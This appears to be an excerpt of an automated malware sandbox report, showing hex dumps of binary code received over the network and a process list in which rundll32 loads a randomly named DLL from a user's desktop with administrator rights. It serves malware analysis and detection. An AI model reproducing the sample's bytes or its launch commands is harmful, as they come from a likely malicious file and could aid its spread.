2024-12-18 12:14:48 UTC	16384	IN	Data Raw: e8 02 de 05 00 48 89 d0 b9 88 00 00 00 e8 55 68 06 00 90 48 89 44 24 08 88 5c 24 10 e8 46 45 06 00 48 8b 44 24 08 0f b6 5c 24 10 e9 b7 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 93 01 00 00 55 48 89 e5 48 83 ec 40 48 8d 93 00 20 00 00 0f 1f 80 00 00 00 00 48 39 d3 0f 87 62 01 00 00 48 89 5c 24 58 88 4c 24 60 48 89 d8 48 c1 e8 0d 48 8d 50 01 0f b6 f1 40 88 74 24 1f 48 f7 c3 ff 1f 00 00 48 0f 45 c2 48 89 44 24 28 48 89 c2 48 c1 e2 0d 48 89 54 24 38 48 89 c7 48 89 d0 48 89 fb e8 b1 14 01 00 90 90 48 8d 05 a8 bf 77 00 48 8b 5c 24 28 0f b6 4c 24 1f e8 39 31 01 00 48 85 c0 0f 84 ea 00 00 00 48 89 44 24 20 48 8d 05 04 e8 7b 00 0f 1f 40 00 e8 5b f8 01 00 48 8b 4c 24 38 f0 48 0f c1 48 38 b9 01 00 00 00 f0 48 0f Data Ascii: HUhHD$\$FEHD$\$I;fUHH@H H9bH\$XL$`HHHP@t$HHEHD$(HHHT$8HHHHwH\$(L$91HHD$ H{@[HL$8HH8H
2024-12-18 12:14:48 UTC	16384	IN	Data Raw: 20 5d c3 0f 1f 40 00 e8 5b 05 06 00 eb 99 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 c0 00 00 00 55 48 89 e5 48 83 ec 18 48 8d 05 27 8a 45 00 bb 02 00 00 00 66 90 e8 3b e4 fe ff 48 89 44 24 10 48 8d 05 ef e6 47 00 e8 aa 66 ff ff 48 8d 0d 03 01 00 00 48 89 08 83 3d 09 65 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 2b 24 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 e8 da ef 02 00 48 8d 05 b3 e6 47 00 e8 6e 66 ff ff 48 8d 0d 67 00 00 00 48 89 08 83 3d cd 64 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 ef 23 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 0f 1f 00 e8 9b ef 02 00 48 8b 44 24 10 31 db e8 cf f3 fe ff 48 8b 44 24 10 31 db e8 c3 f3 fe ff c6 05 34 c6 7b 00 01 48 83 c4 18 5d c3 e8 71 04 06 00 e9 2c ff ff ff cc cc cc cc Data Ascii: ]@[I;fUHHH'Ef;HD$HGfHH=e{uHL$+$HL$IHHHGnfHgH=d{uHL$#HL$IHHHD$1HD$14{H]q,
2024-12-18 12:14:48 UTC	16384	IN	Data Raw: 24 10 0f 1f 44 00 00 e8 db 08 02 00 8b 44 24 14 e8 92 0e 02 00 48 8d 05 82 2b 4c 00 bb 04 00 00 00 e8 41 11 02 00 8b 44 24 10 e8 78 0e 02 00 48 8d 05 56 93 4c 00 bb 14 00 00 00 e8 27 11 02 00 e8 02 09 02 00 48 8d 05 ec b0 4c 00 bb 17 00 00 00 e8 b1 5d 05 00 90 e8 0b c5 05 00 e9 46 ff ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 01 01 00 00 55 48 89 e5 48 83 ec 28 48 8b 4a 08 48 8b 11 0f 1f 80 00 00 00 00 48 39 15 79 a5 76 00 7e 16 80 b8 be 00 00 00 00 74 13 48 8d 42 01 48 89 01 48 83 c4 28 5d c3 48 83 c4 28 5d c3 48 89 44 24 38 90 90 8b 88 98 00 00 00 89 c9 48 89 4c 24 20 48 8b 90 a0 00 00 00 48 89 54 24 18 0f b6 98 be 00 00 00 88 5c 24 17 e8 0b 08 02 00 48 8d 05 7e 28 4c 00 bb 03 00 00 00 e8 7a 10 02 00 48 8b 44 24 38 e8 f0 0f 02 00 48 8d 05 7d 2f 4c 00 bb Data Ascii: $DD$H+LAD$xHVL'HL]FI;fUHH(HJHH9yv~tHBHH(]H(]HD$8HL$ HHT$\$H~(LzHD$8H}/L
2024-12-18 12:14:49 UTC	16384	IN	Data Raw: 00 00 0f 1f 44 00 00 e8 5b d1 01 00 48 8b 44 24 28 48 8b 4c 24 48 48 01 c8 48 8b 4c 24 20 48 01 c8 e8 81 ce 01 00 48 8d 05 e5 fc 4b 00 bb 09 00 00 00 e8 30 d1 01 00 e8 0b c9 01 00 90 48 8b 44 24 78 48 8b 48 68 48 89 4c 24 18 48 8b 50 58 48 89 54 24 60 48 8b 40 60 48 89 44 24 58 e8 85 c8 01 00 48 8d 05 fe e8 4b 00 bb 03 00 00 00 e8 f4 d0 01 00 48 8b 44 24 60 e8 2a ce 01 00 48 8d 05 03 f0 4b 00 bb 06 00 00 00 e8 d9 d0 01 00 48 8b 44 24 18 e8 0f ce 01 00 48 8d 05 ab 0f 4c 00 bb 0c 00 00 00 0f 1f 00 e8 bb d0 01 00 48 8b 44 24 18 48 8b 4c 24 58 48 29 c8 e8 c9 ce 01 00 48 8d 05 91 0f 4c 00 bb 0c 00 00 00 e8 98 d0 01 00 f2 0f 10 44 24 38 e8 ed ca 01 00 48 8d 05 7e e7 4b 00 bb 01 00 00 00 90 e8 7b d0 01 00 e8 56 c8 01 00 e8 f1 c7 01 00 e8 2c ca 01 00 e8 47 c8 01 Data Ascii: D[HD$(HL$HHHL$ HHK0HD$xHHhHL$HPXHT$`H@`HD$XHKHD$`*HKHD$HLHD$HL$XH)HLD$8H~K{V,G
2024-12-18 12:14:49 UTC	16384	IN	Data Raw: 22 00 00 00 0f 1f 00 e8 fb dd 04 00 90 48 89 44 24 08 e8 50 45 05 00 48 8b 44 24 08 e9 a6 fe ff ff cc cc cc cc cc cc 4c 8d a4 24 68 ff ff ff 4d 3b 66 10 0f 86 3b 0f 00 00 55 48 89 e5 48 81 ec 10 01 00 00 49 8b 56 30 83 ba d8 00 00 00 00 75 15 83 ba c0 00 00 00 00 75 0c 4c 89 f6 48 39 32 0f 85 fc 0e 00 00 48 8b 10 84 db 75 07 48 c7 00 00 00 00 00 8b 35 2d c1 77 00 89 74 24 20 90 40 8a 7a 63 0f 1f 40 00 40 80 ff 01 0f 85 4b 0e 00 00 44 8d 46 ff 44 39 42 58 0f 85 3d 0e 00 00 88 9c 24 28 01 00 00 48 89 54 24 38 44 89 44 24 24 80 3d e0 2c 76 00 00 75 06 31 c0 31 c9 eb 21 e8 23 f7 03 00 48 8b 54 24 38 8b 74 24 20 44 8b 44 24 24 48 89 c1 48 89 d8 0f b6 9c 24 28 01 00 00 48 85 c0 74 72 48 89 8c 24 c8 00 00 00 48 8b 72 20 48 c1 e6 0d 48 89 c3 48 89 c8 48 89 f1 e8 Data Ascii: "HD$PEHD$L$hM;f;UHHIV0uuLH92HuH5-wt$ @zc@@KDFD9BX=$(HT$8DD$$=,vu11!#HT$8t$ DD$$HH$(HtrH$Hr HHHH

Target ID:	0
Start time:	07:14:41
Start date:	18/12/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll"
Imagebase:	0x7d0000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	07:14:41
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	07:14:41
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",#1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	07:14:41
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\7nJ9Jo78Vq.dll,ExportFunction
Imagebase:	0xa60000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	07:14:41
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",#1
Imagebase:	0xa60000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	07:14:44
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",ExportFunction
Imagebase:	0xa60000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true